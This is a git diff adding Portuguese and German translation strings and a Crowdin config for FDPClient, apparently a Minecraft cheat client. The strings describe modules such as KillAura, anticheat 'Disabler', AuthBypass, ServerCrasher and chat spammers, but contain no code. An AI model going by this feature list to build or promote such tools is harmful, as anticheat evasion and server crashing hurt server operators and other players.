§a %s +ui.alt.type.premium=premium +ui.alt.type.cracked=cracked +ui.alt.removed=removed +ui.alt.needSelect=Selecione uma conta +ui.alt.copied=Conta copiada para sua área de transferência. +ui.alt.imported=As contas foram importadas com sucesso. +ui.alt.emptyList=A lista está vazia +ui.alt.loggingIn=Fazendo login ... +ui.alt.clipBoardLogin=Login da área de transferência +ui.alt.fillBoth=Você deve preencher os dois campos\! +ui.alt.readFailed=Tipo de área de transferência não suportado\! +ui.alt.invalidClipData=Dados inválidos da área de transferência. (Use\: E-mail\: Senha) +ui.alt.loginUsername=Nome de usuário / E-Mail +ui.alt.loginPassword=Senha +ui.alt.alreadyAdded=A conta já foi adicionada. +ui.alt.notWorking=A conta não funciona. +ui.alt.checking=Verificando ... +ui.alt.randomAltField=Regra de alts aleatórios + +ui.scaffold.blocks=Blocos > %d + +notify.module.title=Módulo +notify.module.enable=Ativado %s +notify.module.disable=Desativado %s + +module.category.combat=Combate. +module.category.player=Reprodutor +module.category.movement=Movimentação +module.category.visual=Renderizar +module.category.client=Cliente +module.category.world=Mundo +module.category.other=Diversos +module.category.exploit=Explorar + +module.Aimbot.name=Aimbot +module.Aimbot.description=Auxiliam a mirar com maior precisão + +module.Ambience.name=Ambiente +module.Ambience.description=Mudar o tempo do ambiente + +module.Animations.name=Animações +module.Animations.description=Permite alterar as animações da espada enquanto bloqueia e animação de inventário + +module.AntiAim.name=AntiAim +module.AntiAim.description=Igual os cheats de CS\:GO + +module.AntiBlind.name=Anticego +module.AntiBlind.description=Cancela efeitos + +module.AntiBot.name=AntiBot +module.AntiBot.description=Impede atacar bots do AntiCheat + +module.AntiFireBall.name=AntiFireBall +module.AntiFireBall.description=Acerte a bola de fogo automaticamente para deixá-la voltar + +module.AntiStuck.name=Preso +module.AntiStuck.description=Destrava você quando você está preso + +module.AntiVanish.name=Antivado +module.AntiVanish.description=Anti player desaparecer + +module.AntiVoid.name=Antianular +module.AntiVoid.description=Evitando que você caia no vazio + +module.AuthBypass.name=AuthBypass +module.AuthBypass.description=Ignorar a autenticação do bot quando entrar no servidor + +module.KillInsults.name=KillInsults +module.KillInsults.description=Insultar automaticamente as pessoas que você matou + +module.AutoAdvertise.name=AutoAdvertise +module.AutoAdvertise.description=Continue assim, precisamos do seu apoio + +module.AutoArmor.name=AutoArmor +module.AutoArmor.description=Equipa automaticamente a melhor armadura em seu inventário + +module.AutoBow.name=AutoArco +module.AutoBow.description=Atira uma flecha automaticamente sempre que seu arco estiver totalmente carregado + +module.AutoClicker.name=AutoClicker +module.AutoClicker.description=Clica constantemente ao segurar um botão do mouse + +module.AutoDisable.name=Auto-Desabilitar +module.AutoDisable.description=Desativa módulos automaticamente + +module.AutoIgnore.name=AutoIgnore +module.AutoIgnore.description=Ignorar spammers automaticamente (apenas redesenhado) + +module.AutoLogin.name=Auto-Login +module.AutoLogin.description=Automático faz com que você faça o login no servidor + +module.AutoPlay.name=Reprodução Automática +module.AutoPlay.description=Entrar automaticamente em outro jogo quando o jogo terminar + +module.AutoPot.name=AutoPot +module.AutoPot.description=Jogue poções automaticamente + +module.AutoReport.name=Denunciar automaticamente +module.AutoReport.description=Auto reportar jogadores + +module.AutoSoup.name=Sopa +module.AutoSoup.description=Faz você tomar sopa automaticamente sempre que sua saúde estiver fraca + +module.AutoTool.name=AutoTool +module.AutoTool.description=Seleciona automaticamente a melhor ferramenta em seu inventário para minerar um bloco + +module.AutoWeapon.name=AutoArma +module.AutoWeapon.description=Seleciona automaticamente a melhor arma em sua hotbar + +module.BanChecker.name=Corretor Bancário + +module.BetterFPS.name=BetterFPS +module.BetterFPS.description=Faça cálculos matemáticos mais rápidos + +module.Blink.name=Piscar +module.Blink.description=Suspende todos os pacotes de movimento + +module.BlockESP.name=BlockESP +module.BlockESP.description=Permite que você veja um bloco selecionado através das paredes + +module.BlockOverlay.name=BlockOverlay +module.BlockOverlay.description=Permite que você altere o design da sobreposição de bloco + +module.BoatJump.name=Pulo de Barco +module.BoatJump.description=Permite que você salte mais tempo com um barco + +module.BowAimbot.name=BowAimbot +module.BowAimbot.description=Mira automaticamente os jogadores ao usar um arco + +module.Breadcrumbs.name=Trilhos +module.Breadcrumbs.description=Deixa um rastro atrás de você + +module.CameraClip.name=CameraClip +module.CameraClip.description=Permite que você veja através das paredes em visão de terceira pessoa + +module.CapeManager.name=CapeManager +module.CapeManager.description=Gerenciar suas capas + +module.Chams.name=Campeões +module.Chams.description=Permite que você veja os alvos através dos blocos + +module.ChatBypass.name=ChatBypass +module.ChatBypass.description=Ignorar limite de bate-papo + +module.ChatTranslator.name=Tradutor +module.ChatTranslator.description=Traduzir palavras no chat + +module.ChestAura.name=Peitoral +module.ChestAura.description=Abre baús automaticamente ao seu redor + +module.ChestStealer.name=Ladrão +module.ChestStealer.description=Rouba automaticamente todos os itens de um baú + +module.ClickGUI.name=ClickGUI +module.ClickGUI.description=Abre o ClickGUI + +module.Clip.name=Clip +module.Clip.description=Permite que você recorte blocos + +module.Criticals.name=Críticos +module.Criticals.description=Permite que você dê danos criticos + +module.DamageParticle.name=Partícula +module.DamageParticle.description=Permite que você veja os danos dos alvos + +module.Disabler.name=Desligar +module.Disabler.description=Desativar anticheats + +module.ESP.name=ESP +module.ESP.description=Permite que você veja alvos através das paredes + +module.Eagle.name=Águia +module.Eagle.description=Torna você águia (também conhecido como FastBridge) + +module.Glint.name=Glint +module.Glint.description=Alterar a cor do efeito Enchant + +module.FakeDead.name=Faltas + +module.FastBreak.name=QuebrarFastBreak +module.FastBreak.description=Permite quebrar blocos mais rápido + +module.FastPlace.name=LugarRápido +module.FastPlace.description=Permite que você coloque blocos mais rápido + +module.FastUse.name=FastUse +module.FastUse.description=Permite que você use itens mais rápido + +module.Fly.name=Voar +module.Fly.description=Permite que voes + +module.FreeCam.name=CameraLivre +module.FreeCam.description=Permite que tu saias do teu corpo + +module.Freeze.name=Freeze +module.Freeze.description=Permite que tu fiques preso no ar + +module.Fucker.name=Fodidor +module.Fucker.description=Destrói os blocos selecionados ao teu redor + +module.Gapple.name=Ameaça +module.Gapple.description=Comer Maças + +module.GhostHand.name=Mão Fantasma +module.GhostHand.description=Permite que você retire os blocos selecionados através das paredes + +module.HUD.name=Interface +module.HUD.description=Alterna a visibilidade do HUD + +module.HackerDetector.name=HackerDetector +module.HackerDetector.description=Detecta outros Hackers no jogo + +module.HealthWarn.name=SaúdeWarn +module.HealthWarn.description=Mostrar aviso quando você estiver com saúde baixa + +module.HighJump.name=HighJump +module.HighJump.description=Permite que você pule mais alto + +module.HitBox.name=HitBox +module.HitBox.description=Torna hitboxes de alvos maiores + +module.HudDesigner.name=HudDesigner +module.HudDesigner.description=Permite Editar o HUD + +module.HurtCam.name=Câmera +module.HurtCam.description=Altera o efeito da câmera danificada + +module.InfiniteAura.name=InfiniteAura +module.InfiniteAura.description=Atinge inimigos de longe + +module.InventoryCleaner.name=InvCleaner +module.InventoryCleaner.description=Automaticamente joga fora itens inúteis e classifica seu inventário + +module.InventoryMove.name=InvMove +module.InventoryMove.description=Permite que você ande enquanto um inventário é aberto + +module.ItemESP.name=ItemESP +module.ItemESP.description=Permite que você veja itens através das paredes + +module.KeyBindManager.name=Gerenciador KeyBinder +module.KeyBindManager.description=Abre o KeyBindManager + +module.Kick.name=Expulsar +module.Kick.description=Permite que você se expulse de um servidor + +module.KillAura.name=Aura +module.KillAura.description=Ataca automaticamente os alvos ao seu redor + +module.LegitSpoof.name=LegitSpoof +module.LegitSpoof.description=Hack? Não sou legít + +module.LightningDetect.name=Detecção de Raio +module.LightningDetect.description=Verificar geração de relâmpagos em + +module.Jesus.name=Jesus +module.Jesus.description=Permite que você ande sobre a água + +module.LongJump.name=Pulo Longo +module.LongJump.description=Permite que você vá mais longe + +module.MessageSpam.name=Spam +module.MessageSpam.description=Mensagens de spam (apenas redesenhado) + +module.MidClick.name=MeioClique +module.MidClick.description=Permite que você adicione um jogador como amigo clicando com o botão direito nele. + +module.NameProtect.name=Proteger +module.NameProtect.description=Altera os nomes dos jogadores do lado do cliente + +module.NameTags.name=NomeTags +module.NameTags.description=Permite lêr o nome dos oponentes + +module.NoBob.name=NoBob +module.NoBob.description=Desativa o efeito de oscilação da vista + +module.NoFOV.name=NoFov +module.NoFOV.description=Desabilita mudanças de FOV causadas por efeito de velocidade, etc + +module.NoFall.name=NoFall +module.NoFall.description=Impede que você sofra danos de queda + +module.NoJumpDelay.name=Atraso +module.NoJumpDelay.description=Remove o atraso entre os saltos + +module.NoRotateSet.name=NoRotateSet +module.NoRotateSet.description=Evita que o servidor gire a tua cabeça + +module.NoSlow.name=NoSlow +module.NoSlow.description=Cancela os efeitos de lentidão causados por soulsand e usando itens + +module.NoSlowBreak.name=NoSlowBreak +module.NoSlowBreak.description=Ajusta automaticamente a velocidade de interrupção ao usar módulos que a influenciam + +module.NoWeb.name=NoWeb +module.NoWeb.description=Evita que fiques lento nas redes + +module.Parkour.name=Parkour +module.Parkour.description=Salta automaticamente ao alcançar a borda de um bloco + +module.Phase.name=Phase +module.Phase.description=Permite que caminhes por blocos + +module.PingSpoof.name=PingSpoof +module.PingSpoof.description=Falsifica o teu ping para um determinado valor + +module.Plugins.name=Complementos +module.Plugins.description=Permite que tu vejas quais plugins o servidor está usando + +module.PointerESP.name=Ponto-ESP +module.PointerESP.description=Mostrar os indicadores em torno de sua travessia + +module.PrevFallPos.name=PrevFallPos +module.PrevFallPos.description=Visualize sua posição de queda + +module.Projectiles.name=Projéteis +module.Projectiles.description=Permite que você veja onde as setas irão parar + +module.Reach.name=Alcance +module.Reach.description=Aumenta o teu alcance + +module.Regen.name=Regen +module.Regen.description=Regenera a tua saúde muito mais rápido + +module.Rotations.name=Rotações +module.Rotations.description=Configurações de rotação + +module.SafeWalk.name=Safewalk +module.SafeWalk.description=Evita que tu caias + +module.Scaffold.name=Scaffold +module.Scaffold.description=Coloca blocos automaticamente sob seus pés + +module.ServerCrasher.name=ServerCrasher +module.ServerCrasher.description=Permite que possas crashear determinados servidores + +module.Spammer.name=Spammer +module.Spammer.description=Spams no chat com uma determinada mensagem + +module.Speed.name=Speed +module.Speed.description=Permite que você se mova mais rápido + +module.Sprint.name=Correr +module.Sprint.description=Corre automaticamente o tempo todo + +module.Step.name=Step +module.Step.description=Permite que subas os blocos instantâneamente + +module.StorageESP.name=StorageESP +module.StorageESP.description=Permite que você veja baús, dispensadores, etc. através das paredes + +module.Strafe.name=Strafe +module.Strafe.description=Permite que você se mova livremente no ar + +module.SuperKnockback.name=SuperKnockback +module.SuperKnockback.description=Aumenta o knockback dado para outras entidades + +module.Target.name=Target +module.Target.description=Configurações de alvo destino + +module.TargetStrafe.name=TargetStrafe +module.TargetStrafe.description=Confunde os alvos por movimento rápido + +module.Teams.name=Equipes +module.Teams.description=Evita que o KillAura ataque companheiros de equipe + +module.Teleport.name=Teletransporte +module.Teleport.description=Permite que te teletransportes + +module.Timer.name=Timer +module.Timer.description=Altera a velocidade de todo o jogo + +module.Modules.name=Módulos +module.Modules.description=Altera configurações do módulo global + +module.Tracers.name=Trilhas +module.Tracers.description=Desenha uma linha nos alvos ao teu redor + +module.TrueSight.name=TrueSight +module.TrueSight.description=Permite que vejas entidades invisíveis e barreiras + +module.Velocity.name=Knockback +module.Velocity.description=Permite que modifiques a quantidade de knockback realizada + +module.XRay.name=Raio-X +module.XRay.description=Permite que vejas os blocos selecionados através das paredes + +module.Crosshair.name=Crosshair +module.Crosshair.description=Permite customizar o crosshair + +module.Damage.name=Danificar +module.Damage.description=Permite que você se machuque + +module.ChinaHat.name=ChinaHat +module.ChinaHat.description=Um lindo chapeu + +module.Skeletal.name=Esquelético +module.Skeletal.description=Veja esqueletos LOL + +module.Spider.name=Aranha +module.Spider.description=Faz você escalar como uma aranha + +module.NoAchievements.name=Conquistas +module.NoAchievements.description=Desativa alerta de conquistas + + +module.HitEffect.name=HitEffect +module.HitEffect.description=Exibe um efeito quando você acerta num jogador + +module.SilentDisconnect.name=SilenciarDesconectar +module.SilentDisconnect.description=Não exibir GuiDisconnect quando você se desconectou do servidor + +module.Performance.name=Desempenho +module.Performance.description=Faz o jogo mais rápido diff --git a/src/main/resources/assets/minecraft/fdpclient/translations/crowdin.yml b/src/main/resources/assets/minecraft/fdpclient/translations/crowdin.yml new file mode 100644 index 0000000..215b5f5 --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/translations/crowdin.yml @@ -0,0 +1,3 @@ +files: + - source: source.properties + translation: '%original_file_name%' diff --git a/src/main/resources/assets/minecraft/fdpclient/translations/de-DE/source.properties b/src/main/resources/assets/minecraft/fdpclient/translations/de-DE/source.properties new file mode 100644 index 0000000..72c81d6 --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/translations/de-DE/source.properties @@ -0,0 +1,575 @@ +# Translated by Liuli (David edited) +ui.altmanager=AltManager +ui.mods=Modifikationen +ui.background=Hintergrund +ui.serverSpoof=ServerSpoof +ui.antiForge=AntiForge +ui.reconnect=neu verbinden +ui.changelog=ChangeLog + +ui.back=Zurück +ui.status=Status +ui.on=an +ui.off=aus + +ui.serverSpoof.address=Server Addresse + +ui.proxy.screen=Proxy Manager +ui.proxy.address=Addresse +ui.proxy.type=Proxy Typ + +ui.background.gtype=Typ +ui.background.gcurrent=Current +ui.background.ganimated=Animiert +ui.background.particles=Partikel +ui.background.change=Wechsel Hintergrund +ui.background.reset=Zurücksetzen Hintergrund Bild + +ui.chest.stealing=Stealing Chest +ui.chest.disable=Disable %s + +ui.gameover.close=Hide This Screen + +ui.disconnect.randomAlt=Random Alt +ui.disconnect.randomOffline=Random Offline + +ui.update.released=FDPClient %s is available\! +ui.update.dismiss=Dismiss +ui.update.download=Download + +ui.keybind.title=KeyBind Manager +ui.keybind.select=Modul zum Binden auswählen +ui.keybind.addMacro=Drücken Sie ENTER, um Macro hinzuzufügen. +ui.keybind.add=+ Hinzufügen +ui.keybind.key=%s Taste +ui.keybind.search=Suche... + +ui.alt.idle=Idle... +ui.alt.nameChanged=§cDein Name ist jetzt §8 %s §c. +ui.alt.error=Ein Fehler ist aufgetreten\: %s +ui.alt.login=Anmelden +ui.alt.add=Neu +ui.alt.remove=Entfernen +ui.alt.import=Importieren +ui.alt.directLogin=Direkte Anmeldung +ui.alt.msLogin=Microsoft Login +ui.alt.copy=Kopieren +ui.alt.alts=%d Alts +ui.alt.username=§7Benutzer\: §a %s +ui.alt.type=§7Typ\: §a %s +ui.alt.type.premium=Premium +ui.alt.type.cracked=offline +ui.alt.removed=Der Alt wurde entfernt. +ui.alt.needSelect=Wählen Sie ein Konto. +ui.alt.copied=Alt wurde in die Zwischenablage kopiert. +ui.alt.imported=Die Konten wurden erfolgreich importiert. +ui.alt.emptyList=Die Liste ist leer. +ui.alt.loggingIn=Anmelden... +ui.alt.clipBoardLogin=Zwischenablage Login +ui.alt.fillBoth=Sie müssen beide Felder ausfüllen\! +ui.alt.readFailed=Zwischenablage wird nicht unterstützt\! +ui.alt.invalidClipData=Ungültige Zwischenablage Daten. (Benutzen\: E-Mail\:Passwort) +ui.alt.loginUsername=Benutzername / E-Mail +ui.alt.loginPassword=Passwort +ui.alt.alreadyAdded=Der Alt wurde bereits hinzugefügt. +ui.alt.notWorking=Der Alt funktioniert nicht. +ui.alt.checking=Überprüfen... +ui.alt.randomAltField=Zufälliger Alt Feld + +ui.scaffold.blocks=Blöcke > %d + +notify.module.title=Modul +notify.module.enable=%s aktiviert +notify.module.disable=%s deaktiviert + +module.category.combat=combat +module.category.player=player +module.category.movement=movement +module.category.visual=Visual +module.category.client=client +module.category.world=world +module.category.other=Other +module.category.exploit=exploit + +module.Aimbot.name=Aimbot +module.Aimbot.description=Automatisch Ziehlen auf Objekte um Sie herum + + +module.AirLadder.name=Luft-Leiter +module.AirLadder.description=Ermöglicht das Erklimmen von Leitern/Ranken, ohne sie zu berühren. + +module.Ambience.name=Ambiente +module.Ambience.description=Ändere die Welt-Umgebung + +module.Animations.name=Animationen +module.Animations.description=Schwert während der Blockierung und Inventaranimation anzeigen + +module.AntiAim.name=AntiAim +module.AntiAim.description=AntiAim wie bei CSGO-Cheats + +module.AntiBlind.name=Antiblind +module.AntiBlind.description=Breche Blindheitseffekte ab + +module.AntiBot.name=AntiBot +module.AntiBot.description=Verhindert, dass KillAura Angreifer von AntiCheat-Bots angreifen + +module.AntiDesync.name=AntiDesync +module.AntiDesync.description=Sync every moves + +module.AntiFireBall.name=Antifeuerball +module.AntiFireBall.description=Trefft Feuerbälle, damit du keinen Schaden erhältst. + +module.AntiStuck.name=AntiStuck +module.AntiStuck.description=bei Rückschlag automatisch einfrieren + +module.AntiStaff.name=AntiStaff +module.AntiStaff.description=Entdecken Sie heiße Single-Online-Moderatoren, die in Ihrer Lobby rumhängen + +module.AntiVanish.name=AntiVanish +module.AntiVanish.description=Zeigt wer verschwunden ist. + +module.AntiVoid.name=Antivoid +module.AntiVoid.description=Ziehe dich nach oben, wenn du ins Leere fällst + +module.AuthBypass.name=AuthBypass +module.AuthBypass.description=Authentifizierungsprüfungen umgehen + +module.KillInsults.name=KillInsult +module.KillInsults.description=Beschimpft Spieler automatisch, den du getötet hast + +module.AutoAdvertise.name=AutoAdvertise +module.AutoAdvertise.description=Bleiben Sie so, wir brauchen Ihre Unterstützung + +module.AutoArmor.name=AutoArmor +module.AutoArmor.description=Rüste automatisch die beste Rüstung in deinem Inventar aus + +module.AutoBow.name=Autobogen +module.AutoBow.description=Automatisch einen Pfeil schießen, wenn dein Bogen vollständig geladen ist + +module.AutoClicker.name=AutoClicker +module.AutoClicker.description=Ständig klicken, wenn Sie eine Maustaste gedrückt halten + +module.AutoDisable.name=AutoDeaktivieren +module.AutoDisable.description=Module automatisch deaktivieren + +module.AutoIgnore.name=AutoIgnore +module.AutoIgnore.description=Spammer automatisch ignorieren (nur redesky) + +module.AutoLogin.name=AutoLogin +module.AutoLogin.description=Automatisch bei gecrackten Servern anmelden + +module.AutoPlay.name=AutomatischesSpielen +module.AutoPlay.description=Schließt sich automatisch einem neuen Spiel bei Ende des Spiels an + +module.AutoPot.name=AutoPot +module.AutoPot.description=Tränke automatisch werfen + +module.AutoReport.name=AutoReport +module.AutoReport.description=Spieler automatisch melden + +module.AutoSoup.name=AutoSoup +module.AutoSoup.description=Macht dich automatisch die Suppe zu essen, wenn deine Gesundheit niedrig ist + +module.AutoTool.name=AutoTool +module.AutoTool.description=Wählt automatisch das beste Werkzeug in deinem Inventar aus, um einen Block abzubauen + +module.AutoWeapon.name=AutoWeapon +module.AutoWeapon.description=Wählt automatisch die beste Waffe in der Hotbar aus + +module.BanChecker.name=Banchecker + +module.BetterFPS.name=BessereFPS +module.BetterFPS.description=Mathematik schneller berechnen + +module.Blink.name=Blinken +module.Blink.description=Unterbricht alle Bewegungspakete + +module.BlockESP.name=BlockESP +module.BlockESP.description=Ermöglicht es dir einen ausgewählten Block durch Wände zu sehen + +module.BlockOverlay.name=BlockOverlay +module.BlockOverlay.description=Erlaubt es Ihnen, das Design des Block-Overlays zu ändern + +module.BoatJump.name=BoatJump +module.BoatJump.description=Erlaubt es dir mit einem Boot länger zu springen + +module.BowAimbot.name=BowAimbot +module.BowAimbot.description=Automatisch auf Spieler zielt, wenn ein Bogen benutzt wird + +module.Breadcrumbs.name=Breadcrumbs +module.Breadcrumbs.description=hinterlässt eine Spur hinter dir + +module.CameraClip.name=KameraClip +module.CameraClip.description=Ermöglicht dir, Mauern in der Ansicht von Dritten zu sehen + +module.CapeManager.name=CapeManager +module.CapeManager.description=Verwalten Sie Ihre Capes + +module.Chams.name=Chams +module.Chams.description=Erlaubt dir, Ziele durch Blöcke zu sehen + +module.ChatBypass.name=Chatumgehung +module.ChatBypass.description=Chatlimit umgehen + +module.ChatTranslator.name=Chatübersetzer +module.ChatTranslator.description=Wörter im Chat übersetzen + +module.ChestAura.name=ChestAura +module.ChestAura.description=Truhen um dich herum automatisch öffnen + +module.ChestStealer.name=ChestStealer +module.ChestStealer.description=Stiehlt automatisch alle Gegenstände einer Truhe + +module.ClickGUI.name=ClickGUI +module.ClickGUI.description=Öffnet die ClickGUI + +module.Clip.name=Clip +module.Clip.description=Erlaubt dir Blöcke durchzuspeichern + +module.Criticals.name=Criticals +module.Criticals.description=Automatisch kritische Treffer behandeln + +module.DamageParticle.name=Schadenspartikel +module.DamageParticle.description=Erlaubt dir, den Schaden von Zielen zu sehen + +module.DiscordRPC.name=DiscordRPC +module.DiscordRPC.description=RPC für Discord anzeigen + +module.Disabler.name=Disabler +module.Disabler.description=Anticheats deaktivieren + +module.ESP.name=ESP +module.ESP.description=Erlaubt dir, Ziele durch Wände zu sehen + +module.Eagle.name=Eagle +module.Eagle.description=Macht dich Adler (aka. Schnellbrücke) + +module.Glint.name=Glint +module.Glint.description=Farbe der Verzauberungen anpassen + +module.FastBreak.name=FastBreak +module.FastBreak.description=Erlaubt dir Blöcke schneller zu brechen + +module.FastPlace.name=SchnellesPlatzieren +module.FastPlace.description=Erlaubt es dir Blöcke schneller zu platzieren + +module.FastUse.name=SchnellesBenutzen +module.FastUse.description=Erlaubt es dir, Elemente schneller zu verwenden + +module.Fly.name=Fliegen +module.Fly.description=Erlaubt es dir im Überlebensmodus zu fliegen + +module.FreeCam.name=FreieCam +module.FreeCam.description=Erlaubt es dir, aus deinem Körper auszuwandern + +module.Freeze.name=Freeze +module.Freeze.description=Erlaubt es dir, in der mittleren Luft festzuhalten + +module.Fucker.name=Ficker +module.Fucker.description=Zerstört ausgewählte Blöcke um dich herum + +module.Gapple.name=Gapple +module.Gapple.description=Verzehrt Lücken automatisch + +module.GhostHand.name=GhostHand +module.GhostHand.description=Erlaubt es dir durch Wände mit ausgewählten Blöcken zu inetrazieren + +module.HUD.name=HUD +module.HUD.description=Schaltet die Sichtbarkeit des HUD ein + +module.HackerDetector.name=HackerDetector +module.HackerDetector.description=SIGMA Hacker erkennen + +module.HealthWarn.name=Gesundheitswarnung +module.HealthWarn.description=Zeigt Warnung, wenn du dich in einer niedrigen Gesundheit befindest + +module.HighJump.name=HohesSpringen +module.HighJump.description=Erlaubt es dir höher zu springen + +module.HitBox.name=Hitbox +module.HitBox.description=Macht die Trefferboxen von Zielen größer + +module.HudDesigner.name=HudDesigner +module.HudDesigner.description=Öffnet den HudDesigner + +module.HurtCam.name=SchadensCam +module.HurtCam.description=Ändert den schmerzhaften Nockeneffekt + +module.InfiniteAura.name=InfiniteAura +module.InfiniteAura.description=Trefft Feinde von weit entfernt + +module.InventoryCleaner.name=InventarReiniger +module.InventoryCleaner.description=Werft nutzlose Gegenstände automatisch weg und sortiert dein Inventar + +module.InventoryMove.name=InventarBewegung +module.InventoryMove.description=Ermöglicht dir, zu gehen, während ein Inventar geöffnet ist + +module.ItemESP.name=ItemESP +module.ItemESP.description=Erlaubt dir, Objekte durch Wände zu sehen + +module.KeyBindManager.name=KeyBindManager +module.KeyBindManager.description=Öffnet den KeyBindManager + +module.Kick.name=Kicken +module.Kick.description=Erlaubt es dir, dich von einem Server zu werfen + +module.KillAura.name=KillAura +module.KillAura.description=Ziele um dich herum automatisch angreifen + +module.LegitSpoof.name=LegitSpoof +module.LegitSpoof.description=Spoofs einige Dinge, so dass es scheint, dass du legit bist + +module.LightningDetect.name=Blitzerkennung +module.LightningDetect.description=Prüft, wo Blitz spawnen + +module.Jesus.name=Jesus +module.Jesus.description=Erlaubt es dir auf Wasser zu gehen + +module.LongJump.name=WeiterSpringen +module.LongJump.description=Ermöglicht es Ihnen, weiter zu springen + +module.MessageSpam.name=NachrichtenSpam +module.MessageSpam.description=Spam-Nachrichten (nur Redesky) + +module.MidClick.name=Mid-Klick +module.MidClick.description=Erlaubt es dir einen Spieler als Freund hinzuzufügen, indem du ihn mit der rechten Maustaste anklickst. + +module.NameProtect.name=NamensSchutz +module.NameProtect.description=Ändert Spielernamen Client-Seite + +module.NameTags.name=NamensSchilder +module.NameTags.description=Ändert die Skalierung der Nametags, damit Sie sie immer lesen können + +module.NoBob.name=NoBob +module.NoBob.description=Deaktiviert den Bobbing Effekt der Ansicht + +module.NoFOV.name=NoFOV +module.NoFOV.description=Deaktiviert FOV-Änderungen, verursacht durch Geschwindigkeitseffekt, etc + +module.NoFall.name=NoFall +module.NoFall.description=Verhindert, dass du Sturzschaden nimmst + +module.NoJumpDelay.name=KeineSpringverzögerung +module.NoJumpDelay.description=Entfernt Verzögerung zwischen Sprüngen + +module.NoRotateSet.name=NoRotateSet +module.NoRotateSet.description=Verhindert, dass der Server den Kopf dreht + +module.NoSlow.name=NoSlow +module.NoSlow.description=Kündigt Langsamkeitseffekte durch Seelen und die Verwendung von Gegenständen + +module.NoSlowBreak.name=NoSlowBreak +module.NoSlowBreak.description=Ändert automatisch die Bruchgeschwindigkeit bei der Verwendung von Modulen, die sie beeinflussen + +module.NoWeb.name=NoWeb +module.NoWeb.description=Verhindert eine Verlangsamung in Webs + +module.Parkour.name=Parkour +module.Parkour.description=Springt automatisch, wenn der Rand eines Blocks erreicht wird + +module.Phase.name=Phase +module.Phase.description=Erlaubt dir Blöcke zu durchqueren + +module.PingSpoof.name=PingSpoof +module.PingSpoof.description=Spoofs dein Ping auf einen bestimmten Wert + +module.Plugins.name=Plugins +module.Plugins.description=Ermöglicht es dir zu sehen, welche Plugins der Server nutzt + +module.PointerESP.name=PunktESP +module.PointerESP.description=Zeigen Sie die Zeiger um Ihre Kreuzung herum + +module.PrevFallPos.name=PrevFallPos +module.PrevFallPos.description=Vorschau Ihrer Falldown-Position + +module.Projectiles.name=Projektile +module.Projectiles.description=Ermöglicht es dir zu sehen, wo Pfeile landen + +module.Reach.name=LangeArme +module.Reach.description=Erhöht Eure Reichweite + +module.Regen.name=Regen +module.Regen.description=Regeneriert deine Gesundheit viel schneller + +module.Rotations.name=Rotations +module.Rotations.description=Rotation Einstellungen + +module.SafeWalk.name=SafeWalk +module.SafeWalk.description=Verhindert, dass du herunterfällst, als hättest du schleichend + +module.Scaffold.name=Scaffold +module.Scaffold.description=Platziere automatisch Blöcke unter deinen Füßen + +module.ServerCrasher.name=ServerCrasher +module.ServerCrasher.description=Erlaubt Ihnen, bestimmte Server abzustürzen + +module.Spammer.name=Spammer +module.Spammer.description=Spürt den Chat mit einer gegebenen Nachricht + +module.Speed.name=Geschwindigkeit +module.Speed.description=Erlaubt es dir schneller zu bewegen + +module.Sprint.name=Sprint +module.Sprint.description=Automatisches Sprint die ganze Zeit + +module.Step.name=Step +module.Step.description=Erlaubt dir Blöcke zu erhöhen + +module.StorageESP.name=Speicher-ESP +module.StorageESP.description=Erlaubt dir Truhen zu sehen, Spender usw. durch Wände + +module.Strafe.name=Strafe +module.Strafe.description=Erlaubt es dir, sich in der mittleren Luft frei zu bewegen + +module.SuperKnockback.name=Super-Rückstoß +module.SuperKnockback.description=Erhöht Rückstoß an andere Entitäten + +module.Target.name=Target +module.Target.description=Target + +module.TargetStrafe.name=TargetStrafe +module.TargetStrafe.description=Bewegen Sie sich um Ihr Ziel + +module.Teams.name=Teams +module.Teams.description=Verhindert, dass Killaura Teammitglieder angreifen kann + +module.Teleport.name=Teleportieren +module.Teleport.description=Erlaubt dir, um dich herum zu teleportieren + +module.Timer.name=Timer +module.Timer.description=Ändert die Geschwindigkeit des gesamten Spiels + +module.Modules.name=Module +module.Modules.description=Globale Moduleinstellungen ändern + +module.Tracers.name=Tracer +module.Tracers.description=Zeichnet eine Linie zu Zielen um dich herum + +module.TrueSight.name=TrueSight +module.TrueSight.description=Ermöglicht es unsichtbare Objekte und Barrieren zu sehen + +module.Velocity.name=Knockback +module.Velocity.description=Erlaubt Ihnen die Anzahl der zurückgenommenen Rückstöße zu ändern + +module.XRay.name=XRay +module.XRay.description=Ermöglicht es, ausgewählte Blöcke durch Wände zu sehen + +module.Crosshair.name=Fadenkreuz +module.Crosshair.description=Bessere Fadenkreuz ändern + +module.Damage.name=Schaden +module.Damage.description=Erlaubt dir, selbst zu Schaden zu kommen + +module.ChinaHat.name=ChinaHat +module.ChinaHat.description=Ein schöner Hut + +module.Skeletal.name=Skelett +module.Skeletal.description=ESP wie Skelette + +module.Spider.name=Spinne +module.Spider.description=Bewegt dich wie eine Spinne + +module.NoAchievements.name=Keine-Achiecements +module.NoAchievements.description=Deaktiviere Warnung, wenn du einen Erfolg verdienst + + +module.HitEffect.name=HitEffect +module.HitEffect.description=Zeige einen Effekt, wenn du einen Spieler berührst + +module.SilentDisconnect.name=SilentDisconnect +module.SilentDisconnect.description=GuiDisconnect nicht anzeigen, wenn Sie die Verbindung vom Server getrennt haben + + +module.Performance.name=Performance +module.Performance.description=Mache das Spiel schneller + +module.Glide.name=Gleiten +module.Glide.description=Makes you fall slower in survival mode + +module.ServerSwitcher.name=ServerSwitcher +module.ServerSwitcher.description=Switch servers without having to go to the Main Menu + +module.Wings.name=Flügel +module.Wings.description=Wings + +module.AntiExploit.name=AntiExploit +module.AntiExploit.description=Prevent servers from doing certain harmful things + +module.CustomDisabler.name=CustomDisabler +module.CustomDisabler.description=Disabler but fully customizable + +module.NoInvClose.name=NoInvClose +module.NoInvClose.description=Stops server from closing your Inventory + +module.ComboOneHit.name=ComboOneHit +module.ComboOneHit.description=Automatically deals hits within one click. Only works if no attack delay is present + +module.FastBow.name=FastBow +module.FastBow.description=Turns your bow into a machine gun + +module.AutoFriend.name=AutoFriend +module.AutoFriend.description=Automatically add Staffs from any server + +module.Spoofer.name=Spoofer +module.Spoofer.description=Spoofer for simulation of Minecraft legit clients + +module.FDPScriptManager.name=FDPScriptManager +module.FDPScriptManager.description=Script Loader + +module.NoRender.name=NoRender +module.NoRender.description=Increase FPS by decreasing or stop rendering visible entities + +module.Particles.name=Partikel +module.Particles.description=Send Particles when hit + 